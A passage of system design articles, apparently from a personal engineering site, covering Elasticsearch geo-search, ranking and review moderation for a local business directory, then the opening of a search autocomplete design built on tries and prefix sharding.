CREATE INDEX idx_reviews_business ON reviews (business_id, created_at DESC)
    WHERE status = 'approved';
CREATE INDEX idx_reviews_user ON reviews (user_id, created_at DESC);
CREATE INDEX idx_reviews_pending ON reviews (status, created_at)
    WHERE status = 'pending';
```

### Elasticsearch Index Mapping

```json
{
  "mappings": {
    "properties": {
      "id": { "type": "keyword" },
      "name": {
        "type": "text",
        "analyzer": "standard",
        "fields": {
          "keyword": { "type": "keyword" },
          "autocomplete": {
            "type": "text",
            "analyzer": "autocomplete"
          }
        }
      },
      "location": { "type": "geo_point" },
      "geohash": { "type": "keyword" },
      "city": { "type": "keyword" },
      "country": { "type": "keyword" },
      "categories": { "type": "keyword" },
      "price_level": { "type": "integer" },
      "rating_avg": { "type": "float" },
      "review_count": { "type": "integer" },
      "attributes": {
        "type": "object",
        "properties": {
          "wifi": { "type": "boolean" },
          "outdoor_seating": { "type": "boolean" },
          "parking": { "type": "keyword" }
        }
      },
      "hours": {
        "type": "nested",
        "properties": {
          "day": { "type": "integer" },
          "open": { "type": "integer" },
          "close": { "type": "integer" }
        }
      },
      "updated_at": { "type": "date" }
    }
  },
  "settings": {
    "analysis": {
      "analyzer": {
        "autocomplete": {
          "type": "custom",
          "tokenizer": "standard",
          "filter": ["lowercase", "autocomplete_filter"]
        }
      },
      "filter": {
        "autocomplete_filter": {
          "type": "edge_ngram",
          "min_gram": 2,
          "max_gram": 20
        }
      }
    }
  }
}
```

### Database Selection Rationale

| Data Type             | Store              | Rationale                                           |
| --------------------- | ------------------ | --------------------------------------------------- |
| Business profiles     | PostgreSQL         | ACID, complex queries, foreign keys, moderate scale |
| Reviews               | PostgreSQL         | ACID for integrity, complex moderation queries      |
| Search index          | Elasticsearch      | Geo queries, full-text, filtering, aggregations     |
| Session/rate limiting | Redis              | Sub-ms latency, TTL support, atomic operations      |
| Photos                | S3 + CloudFront    | Object storage, CDN delivery, cost-effective        |
| Analytics events      | Kafka → ClickHouse | High write throughput, analytical queries           |

### Sharding Strategy

**PostgreSQL (if needed at scale):**

- Shard by `country` or `region` for geographic locality
- Most queries are region-scoped (users search near their location)
- Cross-region queries (rare) handled by query router

**Elasticsearch:**

- Shard by geohash prefix (e.g., first 2 characters)
- 256 shards globally (00-ff in hex, or geographic prefixes)
- Enables routing queries to relevant shards only

## Low-Level Design: Geospatial Search

### Search Flow

![Diagram](./diagram-4.svg)

### Elasticsearch Query Construction

**Basic geo query:**

```json
{
  "query": {
    "bool": {
      "must": [{ "match": { "status": "active" } }],
      "filter": [
        {
          "geo_distance": {
            "distance": "5km",
            "location": {
              "lat": 37.7749,
              "lon": -122.4194
            }
          }
        }
      ]
    }
  },
  "sort": [
    {
      "_geo_distance": {
        "location": { "lat": 37.7749, "lon": -122.4194 },
        "order": "asc",
        "unit": "m"
      }
    }
  ]
}
```

**With category and attribute filters:**

```json
{
  "query": {
    "bool": {
      "must": [{ "match": { "status": "active" } }],
      "filter": [
        {
          "geo_distance": {
            "distance": "5km",
            "location": { "lat": 37.7749, "lon": -122.4194 }
          }
        },
        { "terms": { "categories": ["coffee", "cafe"] } },
        { "term": { "attributes.wifi": true } },
        { "range": { "price_level": { "lte": 2 } } }
      ]
    }
  }
}
```

**"Open now" filter (complex):**

The "open now" query requires knowing the current day/time in the business's timezone:

```json
{
  "query": {
    "bool": {
      "filter": [
        {
          "nested": {
            "path": "hours",
            "query": {
              "bool": {
                "must": [
                  { "term": { "hours.day": 1 } },
                  { "range": { "hours.open": { "lte": 1030 } } },
                  { "range": { "hours.close": { "gt": 1030 } } }
                ]
              }
            }
          }
        }
      ]
    }
  }
}
```

**Design decision**: Store hours as integer (HHMM format: 1030 = 10:30 AM) for efficient range queries. Handle timezone conversion at query time, not storage time.

### Geospatial Caching Strategy

**Cache structure:**

```
Key: geo:search:{geohash_prefix}:{category}:{filters_hash}
Value: [business_id_1, business_id_2, ...]
TTL: 5 minutes
```

**Why cache by geohash prefix:**

- Queries within same ~1km area hit same cache entry
- 6-character geohash prefix provides good locality
- Different filter combinations get separate cache keys

**Cache invalidation:**

- Business update → Invalidate all cache keys containing that business
- New business → No invalidation needed (TTL handles staleness)
- Trade-off: 5-minute staleness acceptable for discovery use case

### Ranking Algorithm

**Multi-signal ranking formula:**

$$
score = w_1 \cdot f_{distance} + w_2 \cdot f_{rating} + w_3 \cdot f_{reviews} + w_4 \cdot f_{recency} + w_5 \cdot f_{personal}
$$

Where:

- $f_{distance} = 1 - \frac{distance}{max\_radius}$ (closer = higher score)
- $f_{rating} = \frac{rating - 1}{4}$ (normalized 0-1)
- $f_{reviews} = \frac{\log(review\_count + 1)}{\log(max\_reviews + 1)}$ (log-scaled)
- $f_{recency} = e^{-\lambda \cdot days\_since\_review}$ (exponential decay)
- $f_{personal}$ = personalization signal (0-1)

**Default weights (tuned via A/B testing):**

| Signal       | Weight | Rationale                     |
| ------------ | ------ | ----------------------------- |
| Distance     | 0.25   | Important but not dominant    |
| Rating       | 0.30   | Primary quality signal        |
| Review count | 0.20   | Social proof, data confidence |
| Recency      | 0.15   | Fresh data preferred          |
| Personal     | 0.10   | Light personalization         |

**Elasticsearch function_score implementation:**

```json
{
  "query": {
    "function_score": {
      "query": {"bool": {"filter": [...]}},
      "functions": [
        {
          "gauss": {
            "location": {
              "origin": {"lat": 37.77, "lon": -122.41},
              "scale": "2km",
              "decay": 0.5
            }
          },
          "weight": 25
        },
        {
          "field_value_factor": {
            "field": "rating_avg",
            "factor": 1,
            "modifier": "none",
            "missing": 3
          },
          "weight": 30
        },
        {
          "field_value_factor": {
            "field": "review_count",
            "factor": 1,
            "modifier": "log1p",
            "missing": 1
          },
          "weight": 20
        }
      ],
      "score_mode": "sum",
      "boost_mode": "replace"
    }
  }
}
```

### Handling Edge Cases

**Sparse areas (few results):**

- If < 10 results within radius, automatically expand to 2× radius
- Cap at 50km to prevent global searches
- Return `expanded_radius: true` in response metadata

**Dense areas (too many results):**

- Pre-filter by quality threshold (rating > 3.0, review_count > 5)
- Use stricter ranking to surface best options
- Never return more than 1000 candidates to ranker

**Boundary problems:**

- Elasticsearch's geo_distance handles great-circle distance correctly
- No geohash boundary issues (unlike raw geohash queries)

**Timezone handling for "open now":**

- Store business timezone in database
- Query-time conversion: UTC now → business local time
- Handle DST transitions correctly

## Low-Level Design: Review System

### Review Submission Flow

![Diagram](./diagram-5.svg)

### Spam Detection Signals

| Signal                | Weight | Description                        |
| --------------------- | ------ | ---------------------------------- |
| Account age           | 0.15   | New accounts more suspicious       |
| Review velocity       | 0.20   | Multiple reviews in short time     |
| Text quality          | 0.25   | Gibberish, excessive caps, links   |
| Sentiment mismatch    | 0.15   | 5-star rating with negative text   |
| IP/device clustering  | 0.15   | Multiple accounts from same source |
| Business relationship | 0.10   | Employee/owner detection           |

**Thresholds:**

- Score < 0.3: Auto-approve
- Score 0.3-0.7: Auto-approve with flag for sampling
- Score > 0.7: Manual review required

### Rating Aggregation

**Naive average problems:**

- Business with 1 review (5 stars) ranks above business with 1000 reviews (4.8 avg)
- New businesses have unstable ratings

**Bayesian average solution:**

$$
rating_{adjusted} = \frac{C \cdot m + \sum ratings}{C + n}
$$

Where:

- $C$ = confidence parameter (typically 10-50)
- $m$ = prior mean (global average, ~3.7)
- $n$ = number of reviews

**Example:**

- New business: 2 reviews, both 5 stars
- Naive: 5.0
- Bayesian (C=10, m=3.7): $(10 \times 3.7 + 10) / (10 + 2) = 4.0$

This prevents new businesses with few perfect reviews from dominating rankings.

### Review Update Consistency

**Challenge:** When a review is approved, multiple systems need updating:

1. PostgreSQL: review status
2. PostgreSQL: business rating_avg, review_count
3. Elasticsearch: business document
4. Cache: invalidate relevant entries

**Solution: Transactional outbox pattern**

```sql
BEGIN;
  -- Update review
  UPDATE reviews SET status = 'approved' WHERE id = $1;

  -- Update business aggregates
  UPDATE businesses
  SET rating_avg = (SELECT AVG(rating) FROM reviews WHERE business_id = $2 AND status = 'approved'),
      review_count = (SELECT COUNT(*) FROM reviews WHERE business_id = $2 AND status = 'approved')
  WHERE id = $2;

  -- Write to outbox for async propagation
  INSERT INTO outbox (event_type, payload)
  VALUES ('ReviewApproved', '{"review_id": "...", "business_id": "..."}');
COMMIT;
```

A separate process reads the outbox and updates Elasticsearch + invalidates caches.

**Consistency window:** ~1-5 seconds for search index, but PostgreSQL is immediately consistent for direct business profile reads.

## Frontend Considerations

### Search Results Data Structure

**Optimized for list rendering:**

```typescript
interface SearchState {
  // Normalized entities
  businesses: Record<string, Business>

  // Search result ordering
  resultIds: string[]

  // Pagination
  cursor: string | null
  hasMore: boolean

  // Search params (for cache key)
  searchParams: {
    lat: number
    lon: number
    radius: number
    filters: Record<string, unknown>
  }

  // UI state
  isLoading: boolean
  error: string | null
}
```

**Why normalized:**

- Moving between list and detail views doesn't duplicate data
- Updates to a business (e.g., from detail view) reflect in list
- Efficient React renders with reference equality

### Map Integration

**Marker clustering for dense areas:**

- 50+ markers on mobile degrades performance
- Cluster markers when zoom level shows > 30 businesses in viewport
- Expand clusters on zoom or tap

**Viewport-based loading:**

```typescript
interface MapSearchParams {
  bounds: {
    ne: { lat: number; lon: number }
    sw: { lat: number; lon: number }
  }
  zoom: number
}

// Debounce map move events (300ms)
// Only fetch when bounds change significantly (> 20% new area)
```

### Offline Considerations

**Cache strategy for mobile:**

- Cache last 5 search results (businesses + basic details)
- Pre-fetch business details for top 10 search results
- Store ~50MB of data for offline browsing

**Service worker strategy:**

```typescript
// Cache search results with network-first, cache-fallback
// Cache business details with stale-while-revalidate
// Never cache review submission (must be online)
```

### Real-Time Updates

**When needed:**

- Review count changes (low priority, poll every 5 min)
- Business hours during edge times (near open/close)
- "Popular times" if implemented

**When NOT needed:**

- Real-time review streaming (batch updates fine)
- Live rating changes (too volatile, confusing UX)

## Infrastructure

### Cloud-Agnostic Architecture

![Diagram](./diagram-6.svg)

### AWS Reference Implementation

| Component          | Service               | Configuration                      |
| ------------------ | --------------------- | ---------------------------------- |
| Global LB          | Route 53 + CloudFront | Latency-based routing              |
| Regional LB        | ALB                   | Auto-scaling target groups         |
| API servers        | ECS Fargate           | 2-100 tasks, auto-scaling          |
| Background workers | ECS Fargate           | Spot instances (70% savings)       |
| PostgreSQL         | RDS Multi-AZ          | db.r6g.xlarge, 3 read replicas     |
| Elasticsearch      | OpenSearch Service    | 3 master + 6 data nodes, r6g.large |
| Redis              | ElastiCache Cluster   | 3 shards, r6g.large                |
| Message queue      | MSK (Managed Kafka)   | 3 brokers, kafka.m5.large          |
| Object storage     | S3 + CloudFront       | Intelligent tiering                |
| ML inference       | SageMaker Serverless  | For spam detection                 |

### Multi-Region Strategy

**Active-active for reads:**

- Each region has full read replicas
- Users routed to nearest region
- Search queries served locally

**Primary region for writes:**

- Reviews written to primary region
- Async replication to other regions (< 5s lag)
- Business updates are infrequent, higher latency acceptable

**Failover:**

- Route 53 health checks detect region failure
- Automatic failover to secondary region
- RTO: < 1 minute, RPO: < 30 seconds

### Cost Optimization

| Component      | Monthly Cost (estimate) | Optimization                            |
| -------------- | ----------------------- | --------------------------------------- |
| Elasticsearch  | $8,000                  | Reserved instances, optimize shards     |
| RDS PostgreSQL | $3,000                  | Reserved instances, right-size replicas |
| ElastiCache    | $1,500                  | Reserved instances                      |
| ECS Fargate    | $5,000                  | Spot for workers, right-size tasks      |
| Data transfer  | $2,000                  | CloudFront caching, compression         |
| S3             | $1,000                  | Intelligent tiering, lifecycle policies |
| **Total**      | ~$20,000/month          | At 100M MAU scale                       |

## Common Pitfalls

### 1. Geohash Boundary Issues

**Problem:** Query at cell boundary misses nearby businesses in adjacent cells.

**Cause:** Querying only the target geohash cell without neighbors.

**Fix:** Always query target cell + 8 surrounding cells, or use proper geo_distance queries that handle boundaries correctly.

### 2. Rating Manipulation

**Problem:** Business owners create fake accounts to boost ratings.

**Cause:** No detection of review authenticity.

**Fix:** Multi-signal spam detection, IP/device fingerprinting, account age requirements, manual review sampling.

### 3. Stale Search Results

**Problem:** Newly added businesses don't appear in search for hours.

**Cause:** Elasticsearch index not refreshed frequently enough.

**Fix:** Near-real-time indexing (refresh_interval: 1s for hot data), or explicit refresh for critical updates.

### 4. "Open Now" Timezone Bugs

**Problem:** Businesses show as open/closed at wrong times.

**Cause:** Storing hours in wrong timezone or not handling DST.

**Fix:** Store timezone with business, convert at query time, use proper timezone libraries (not offset math).

### 5. Photo Storage Costs Explosion

**Problem:** Storage costs grow 10x faster than expected.

**Cause:** Storing original photos without size limits or compression.

**Fix:** Resize on upload (max 2048px), generate thumbnails, use progressive JPEG, implement storage lifecycle (archive old photos).

### 6. Review Consistency Lag

**Problem:** User submits review, refreshes page, review not visible.

**Cause:** Async processing creates visibility delay.

**Fix:** Read-your-writes consistency: return pending review in user's own view immediately, mark as "pending" until approved.

## Conclusion

This design prioritizes **search latency** and **result quality** as the primary optimization targets, accepting complexity in the write path and eventual consistency for non-critical data.

**Key architectural decisions:**

1. **Elasticsearch for geo-search** rather than custom geospatial index—the 20-30ms latency overhead is acceptable when combined text/geo/attribute queries are needed
2. **Denormalized aggregates** (rating_avg, review_count) in business records—trades write complexity for read performance
3. **Async review processing** with transactional outbox—ensures eventual consistency while maintaining PostgreSQL ACID guarantees
4. **Multi-signal ranking** with tunable weights—enables A/B testing different ranking formulas without code changes

**What this design sacrifices:**

- Real-time consistency for search results (5-30 second delay acceptable)
- Sub-10ms geo query latency (custom geospatial index would achieve this)
- Perfect spam detection (manual review still required for edge cases)

**Future improvements:**

- Personalized search using user history and collaborative filtering
- "Popular times" using check-in and visit data
- Voice search integration for mobile
- Business insights dashboard for owners

## Appendix

### Prerequisites

- Distributed systems fundamentals (CAP theorem, consistency models)
- Database indexing concepts (B-trees, inverted indexes)
- Basic understanding of geospatial concepts (latitude/longitude, great-circle distance)
- Familiarity with Elasticsearch or similar search engines

### Terminology

| Term             | Definition                                                                                                    |
| ---------------- | ------------------------------------------------------------------------------------------------------------- |
| Geohash          | A hierarchical spatial encoding that converts coordinates to a string where prefix matches indicate proximity |
| Quadtree         | A tree data structure that recursively subdivides 2D space into four quadrants                                |
| R-tree           | A tree data structure for indexing multi-dimensional data, optimized for range queries                        |
| BKD tree         | A variant of KD-tree used by Lucene/Elasticsearch for efficient multi-dimensional indexing                    |
| Geo_point        | Elasticsearch field type that stores latitude/longitude and enables geospatial queries                        |
| Bayesian average | A weighted average that incorporates prior knowledge to handle small sample sizes                             |

### Summary

- Proximity search requires specialized geospatial indexing; Elasticsearch's geo_distance query provides good balance of features and performance
- Multi-signal ranking (distance + rating + reviews + recency) produces better results than distance alone
- Review systems need async processing with spam detection to maintain quality at scale
- Denormalization and caching are essential for sub-100ms search latency
- Eventual consistency (< 30 seconds) is acceptable for discovery use cases but requires read-your-writes for user's own content

### References

- [Elasticsearch Geo Queries Documentation](https://www.elastic.co/guide/en/elasticsearch/reference/current/geo-queries.html) - Official guide to geo_distance, geo_bounding_box, and geo_shape queries
- [Google S2 Geometry Library](https://s2geometry.io/) - Spherical geometry library used by Google Maps
- [Uber H3: Hexagonal Hierarchical Geospatial Indexing](https://www.uber.com/blog/h3/) - Uber's evolution from geohash to hexagonal cells
- [Yelp Engineering Blog: Search Architecture](https://engineeringblog.yelp.com/) - Insights into Yelp's Elasticsearch usage
- [PostGIS Documentation](https://postgis.net/documentation/) - Geospatial extension for PostgreSQL
- [Foursquare Pilgrim SDK](https://location.foursquare.com/developer/docs/pilgrim-sdk-overview) - Real-world venue detection at scale
- [Building a Recommendation System at Yelp](https://engineeringblog.yelp.com/2021/03/personalizing-yelp-home-with-contextual-bandit.html) - Personalization approaches
- Wilson, E.B. (1927). "Probable Inference, the Law of Succession, and Statistical Inference" - Foundation for Wilson score interval used in rating confidence

---

## Design Search Autocomplete: Prefix Matching at Scale

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/system-design-problems/design-search-autocomplete
**Category:** System Design / System Design Problems
**Description:** A system design for search autocomplete (typeahead) covering prefix data structures, ranking algorithms, distributed architecture, and sub-100ms latency requirements. This design addresses the challenge of returning relevant suggestions within the user’s typing cadence—typically under 100ms—while handling billions of queries daily.

# Design Search Autocomplete: Prefix Matching at Scale

A system design for search autocomplete (typeahead) covering prefix data structures, ranking algorithms, distributed architecture, and sub-100ms latency requirements. This design addresses the challenge of returning relevant suggestions within the user's typing cadence—typically under 100ms—while handling billions of queries daily.

<figure>

![High-level architecture: Client debouncing feeds through CDN cache to sharded trie services with pre-computed rankings. Indexing pipeline rebuilds tries from query logs.](./high-level-architecture-client-debouncing-feeds-through-cdn-cache-to-sharded-tri.svg)

<figcaption>High-level architecture: Client debouncing feeds through CDN cache to sharded trie services with pre-computed rankings. Indexing pipeline rebuilds tries from query logs.</figcaption>
</figure>

## Abstract

Search autocomplete is a **prefix-completion problem** where every millisecond matters—users expect suggestions before they finish typing. The core mental model:

- **Data structure choice determines latency floor**: Tries provide O(p) prefix lookup where p is prefix length, independent of corpus size. Finite State Transducers (FST) compress this further for in-memory serving.
- **Pre-computed top-K eliminates runtime ranking**: Store the top 5-10 suggestions at each trie node. Query becomes pure traversal, no sorting.
- **Freshness requires a dual-path architecture**: Weekly batch rebuilds for stable rankings + streaming hot updates for trending queries.
- **Client-side debouncing is mandatory**: Without 300ms debounce, typing "javascript" generates 10 requests in 1 second. With debounce: 1 request.
- **Personalization adds latency**: Generic suggestions serve from cache in <5ms. Personalized suggestions require user context lookup, adding 10-50ms.

The fundamental tradeoff: **latency vs. relevance**. Pre-computed suggestions are fast but stale. Real-time ranking is relevant but slow. Production systems layer both.

## Requirements

### Functional Requirements

| Requirement                               | Priority | Notes                      |
| ----------------------------------------- | -------- | -------------------------- |
| Return suggestions for partial query      | Core     | Primary feature            |
| Rank by relevance (popularity, freshness) | Core     | Not just alphabetical      |
| Support trending/breaking queries         | Core     | News events, viral content |
| Personalized suggestions                  | Extended | Based on user history      |
| Spell correction / fuzzy matching         | Extended | Handle typos               |
| Multi-language support                    | Extended | Unicode, RTL scripts       |

**Out of scope**: Full document search (separate system), voice input, image search.

### Non-Functional Requirements

| Requirement          | Target                | Rationale                                     |
| -------------------- | --------------------- | --------------------------------------------- |
| Latency              | P99 < 100ms           | User typing cadence ~150ms between keystrokes |
| Availability         | 99.99%                | User-facing, affects search engagement        |
| Throughput           | 500K QPS peak         | Based on scale estimation below               |
| Suggestion freshness | < 1 hour for trending | Breaking news must surface quickly            |
| Consistency          | Eventual (< 5 min)    | Acceptable for suggestions                    |

### Scale Estimation

**Assumptions** (Google-scale reference):

- Daily Active Users (DAU): 1 billion
- Searches per user per day: 5
- Characters per search: 20 average
- Autocomplete triggers: Every 2-3 characters after minimum prefix

**Traffic calculation**:

```
Queries/day = 1B users × 5 searches × (20 chars / 3 chars per trigger)
            = 1B × 5 × 7 triggers
            = 35 billion autocomplete requests/day

QPS average = 35B / 86,400 = ~405K QPS
QPS peak (3x) = ~1.2M QPS
```

**Storage calculation**:

```
Unique queries to index: ~1 billion (estimated from query logs)
Average query length: 25 bytes
Metadata per query (score, timestamp): 16 bytes
Raw storage: 1B × 41 bytes = 41 GB

Trie overhead (pointers, node structure): 3-5x
Trie storage: ~150-200 GB per replica
```

**Bandwidth**:

```
Request size: ~50 bytes (prefix + metadata)
Response size: ~500 bytes (10 suggestions with metadata)

Ingress: 1.2M QPS × 50 bytes = 60 MB/s
Egress: 1.2M QPS × 500 bytes = 600 MB/s
```

## Design Paths

### Path A: Trie-Based with Pre-computed Rankings

**Best when:**

- Suggestion corpus is bounded (millions, not billions of unique queries)
- Latency is critical (<50ms P99)
- Ranking signals are relatively stable (popularity-based)

**Architecture:**

- In-memory tries sharded by prefix range
- Top-K suggestions pre-computed at each node during indexing
- Weekly full rebuilds + hourly delta updates

**Key characteristics:**

- Query is pure traversal: O(p) where p = prefix length
- No runtime ranking computation
- Memory-intensive: entire trie must fit in RAM

**Trade-offs:**

- ✅ Sub-10ms query latency achievable
- ✅ Predictable, consistent performance
- ✅ Simple query path (no scoring logic)
- ❌ High memory footprint (~200GB per shard replica)
- ❌ Freshness limited by rebuild frequency
- ❌ Personalization requires separate lookup

**Real-world example:** LinkedIn's Cleo serves generic typeahead in <1ms using pre-computed tries. Network-personalized suggestions take 15ms due to additional context lookups.

### Path B: Inverted Index with Completion Suggester

**Best when:**

- Corpus is large and dynamic (e-commerce catalogs, document search)
- Need flexibility for different query types (prefix, fuzzy, phrase)
- Already running Elasticsearch/OpenSearch infrastructure

**Architecture:**

- Elasticsearch completion suggester using FST (Finite State Transducers)
- Edge n-gram tokenization for flexible matching
- Real-time indexing via Kafka

**Key characteristics:**

- FST provides compact in-memory representation
- Supports fuzzy matching and context filtering
- Index updates are near real-time

**Trade-offs:**

- ✅ Flexible query types (prefix, infix, fuzzy)
- ✅ Real-time updates without full rebuild
- ✅ Built-in sharding and replication
- ❌ Higher latency than pure trie (10-50ms typical)
- ❌ Index size 15-17x larger with edge n-gram analyzer
- ❌ Operational complexity of Elasticsearch cluster

**Real-world example:** Amazon product search uses inverted indexes with extensive metadata (ratings, sales rank) for ranking. Handles dynamic catalog updates in near real-time.

### Path Comparison

| Factor               | Path A: Trie                 | Path B: Inverted Index             |
| -------------------- | ---------------------------- | ---------------------------------- |
| Query latency        | <10ms                        | 10-50ms                            |
| Memory efficiency    | Lower (pointer overhead)     | Higher (FST compression)           |
| Update latency       | Hours (batch)                | Seconds (streaming)                |
| Fuzzy matching       | Requires separate structure  | Native support                     |
| Sharding complexity  | Manual prefix-based          | Built-in (Elasticsearch)           |
| Operational overhead | Custom infrastructure        | Managed service available          |
| Best for             | High-QPS generic suggestions | Dynamic catalogs, flexible queries |

### This Article's Focus

This article focuses on **Path A (Trie-Based)** because:

1. It represents the canonical autocomplete architecture used by Google, Twitter, and LinkedIn for their primary suggestion services
2. It demonstrates fundamental prefix data structures that underpin even inverted-index implementations
3. Sub-10ms latency is achievable, which Path B cannot match

Path B implementation details are covered in the "Elasticsearch Alternative" section under Low-Level Design.

## High-Level Design

### Component Overview

| Component           | Responsibility                         | Technology               |
| ------------------- | -------------------------------------- | ------------------------ |
| **API Gateway**     | Rate limiting, authentication, routing | Kong, AWS API Gateway    |
| **Shard Router**    | Route prefix to correct trie shard     | Custom service           |
| **Trie Service**    | Serve suggestions from in-memory trie  | Custom service (Go/Rust) |
| **Ranking Service** | Re-rank with personalization signals   | Custom service           |
| **Redis Cache**     | Cache hot prefixes and user history    | Redis Cluster            |
| **Trie Builder**    | Build/update tries from query logs     | Spark/Flink              |
| **Kafka**           | Stream query logs and trending signals | Apache Kafka             |
| **Object Storage**  | Store serialized trie snapshots        | S3, HDFS                 |

### Request Flow

![Diagram](./diagram-1.svg)

### Sharding Strategy

**Prefix-based sharding** routes queries by first character(s):

```
Shard 1: a-f (covers ~25% of queries)
Shard 2: g-m (covers ~20% of queries)
Shard 3: n-s (covers ~35% of queries - 's' is most common)
Shard 4: t-z (covers ~20% of queries)
```

**Why prefix-based over hash-based:**

1. **Data locality**: Related queries ("system", "systems", "systematic") on same shard
2. **Prefix routing**: Query "sys" deterministically routes to shard 3
3. **Range queries**: Can aggregate suggestions across prefix ranges

**Handling hotspots:**

English letter frequency is uneven. The prefix "s" alone accounts for ~10% of queries. Solutions:

1. **Finer granularity**: Split "s" into "sa-se", "sf-sm", "sn-sz"
2. **Dynamic rebalancing**: Shard Map Manager monitors load and adjusts ranges
3. **Replication**: More replicas for hot shards

## API Design

### Suggestion Endpoint

```
GET /api/v1/suggestions?q={prefix}&limit={n}&lang={code}
```

**Request Parameters:**

| Parameter | Type   | Required | Default | Description                        |
| --------- | ------ | -------- | ------- | ---------------------------------- |
| `q`       | string | Yes      | -       | Query prefix (min 2 chars)         |
| `limit`   | int    | No       | 10      | Max suggestions (1-20)             |
| `lang`    | string | No       | en      | Language code (ISO 639-1)          |
| `user_id` | string | No       | -       | For personalized suggestions       |
| `context` | string | No       | -       | Search context (web, images, news) |

**Response (200 OK):**

```json
{
  "query": "prog",
  "suggestions": [
    {
      "text": "programming",
      "score": 0.95,
      "type": "query",
      "metadata": {
        "category": "technology",
        "trending": false
      }
    },
    {
      "text": "progress",
      "score": 0.87,
      "type": "query",
      "metadata": {
        "category": "general",
        "trending": false
      }
    },
    {
      "text": "program download",
      "score": 0.82,
      "type": "query",
      "metadata": {
        "category": "technology",
        "trending": true
      }
    }
  ],
  "took_ms": 8,
  "cache_hit": false
}
```

**Error Responses:**

| Status | Condition                   | Response                                         |
| ------ | --------------------------- | ------------------------------------------------ |
| 400    | Prefix too short (<2 chars) | `{"error": "prefix_too_short", "min_length": 2}` |
| 429    | Rate limit exceeded         | `{"error": "rate_limited", "retry_after": 60}`   |
| 503    | Service overloaded          | `{"error": "service_unavailable"}`               |

**Rate Limits:**

- Anonymous: 100 requests/minute per IP
- Authenticated: 1000 requests/minute per user
- Burst: 20 requests/second max

### Response Optimization

**Compression**: Enable gzip for responses >1KB. Typical 10-suggestion response compresses from 500 bytes to ~200 bytes.

**Cache Headers**:

```http
Cache-Control: public, max-age=300
ETag: "a1b2c3d4"
Vary: Accept-Encoding, Accept-Language
```

**Pagination**: Not applicable—autocomplete returns bounded set (≤20). If more results needed, user should submit full search.

## Data Modeling

### Trie Node Structure

```typescript
interface TrieNode {
  children: Map<string, TrieNode> // Character -> child node
  isEndOfWord: boolean
  topSuggestions: Suggestion[] // Pre-computed top-K
  frequency: number // Aggregate frequency for this prefix
}

interface Suggestion {
  text: string // Full query text
  score: number // Normalized relevance score [0, 1]
  frequency: number // Raw query count
  lastUpdated: number // Unix timestamp
  trending: boolean // Recently spiking
  metadata: {
    category?: string
    language: string
  }
}
```

### Storage Schema

**Query Log (Kafka topic: `query-logs`)**:

```json
{
  "query": "programming tutorials",
  "timestamp": 1706918400,
  "user_id": "u123", // Hashed, optional
  "session_id": "s456",
  "result_clicked": true,
  "position_clicked": 2,
  "locale": "en-US",
  "platform": "web"
}
```

**Aggregated Query Stats (Redis Hash)**:

```
HSET query:programming tutorials
  frequency 1542389
  last_seen 1706918400
  trending 0
  category technology
```

**Trie Snapshot (S3/HDFS)**:

```
s3://autocomplete-data/tries/
  └── 2024-02-03/
      ├── shard-a-f.trie.gz      (50GB compressed)
      ├── shard-g-m.trie.gz      (40GB compressed)
      ├── shard-n-s.trie.gz      (60GB compressed)
      ├── shard-t-z.trie.gz      (40GB compressed)
      └── manifest.json
```

### Database Selection

| Data             | Store              | Rationale                                        |
| ---------------- | ------------------ | ------------------------------------------------ |
| Live trie        | In-memory (custom) | Sub-ms traversal required                        |
| Hot prefix cache | Redis Cluster      | <1ms lookups, TTL support                        |
| Query logs       | Kafka → S3         | Streaming ingestion, durable storage             |
| Trie snapshots   | S3/HDFS            | Large files, versioned, cross-region replication |
| User history     | DynamoDB/Cassandra | Key-value access pattern, high write throughput  |
| Trending signals | Redis Sorted Set   | Real-time top-K with scores                      |

## Low-Level Design

### Trie Implementation

**Design decision: Hash map vs. array children**

| Approach   | Lookup   | Memory            | Best for                |
| ---------- | -------- | ----------------- | ----------------------- |
| Array[26]  | O(1)     | 26 pointers/node  | Dense tries, ASCII only |
| Array[128] | O(1)     | 128 pointers/node | Full ASCII              |
| HashMap    | O(1) avg | Variable          | Sparse tries, Unicode   |

**Chosen: HashMap** because:

1. Unicode support required (multi-language)
2. Most nodes have <5 children (sparse)
3. Modern hash maps have near-constant lookup

```go title="trie.go" collapse={1-8, 45-60}
package autocomplete

import (
    "sort"
    "sync"
)

const TopK = 10

type TrieNode struct {
    children       map[rune]*TrieNode
    isEnd          bool
    topSuggestions []Suggestion
    mu             sync.RWMutex
}

type Suggestion struct {
    Text      string
    Score     float64
    Frequency int64
    Trending  bool
}

func (t *TrieNode) Search(prefix string) []Suggestion {
    t.mu.RLock()
    defer t.mu.RUnlock()

    node := t
    for _, char := range prefix {
        child, exists := node.children[char]
        if !exists {
            return nil // No suggestions for this prefix
        }
        node = child
    }
    // Return pre-computed top-K at this node
    return node.topSuggestions
}

func (t *TrieNode) Insert(word string, score float64) {
    t.mu.Lock()
    defer t.mu.Unlock()
    // ... insertion logic with top-K update propagation
}

// BuildTopK propagates top-K suggestions up the trie
// Called during index build, not at query time
func (t *TrieNode) BuildTopK() {
    // Post-order traversal: build children first
    for _, child := range t.children {
        child.BuildTopK()
    }

    // Collect all suggestions from children + this node
    var candidates []Suggestion
    if t.isEnd {
        candidates = append(candidates, t.topSuggestions...)
    }
    for _, child := range t.children {
        candidates = append(candidates, child.topSuggestions...)
    }

    // Keep top K by score
    sort.Slice(candidates, func(i, j int) bool {
        return candidates[i].Score > candidates[j].Score
    })
    if len(candidates) > TopK {
        candidates = candidates[:TopK]
    }
    t.topSuggestions = candidates
}
```

**Why pre-compute top-K at each node:**

Without pre-computation, returning suggestions for prefix "p" requires traversing the entire subtree (potentially millions of nodes). With pre-computed top-K:

- Query time: O(p) where p = prefix length
- No subtree traversal
- Predictable latency regardless of prefix popularity

**Trade-off**: Index build time increases (must propagate top-K up), but query time drops from O(p + n) to O(p).

### Ranking Algorithm

**Scoring formula:**

```
Score = w1 × Popularity + w2 × Freshness + w3 × Trending + w4 × Personalization
```

**Default weights (generic suggestions):**

| Signal          | Weight | Calculation                           |
| --------------- | ------ | ------------------------------------- |
| Popularity      | 0.5    | `log(frequency) / log(max_frequency)` |
| Freshness       | 0.2    | `1 - (days_since_last_search / 30)`   |
| Trending        | 0.2    | `1.0 if spiking else 0.0`             |
| Personalization | 0.1    | `1.0 if in user history else 0.0`     |

**Trending detection:**

A query is "trending" if its frequency in the last hour exceeds 3× its average hourly frequency over the past week.

```python title="trending.py" collapse={1-5, 20-30}
import redis
from datetime import datetime, timedelta

r = redis.Redis()

def is_trending(query: str) -> bool:
    now = datetime.utcnow()
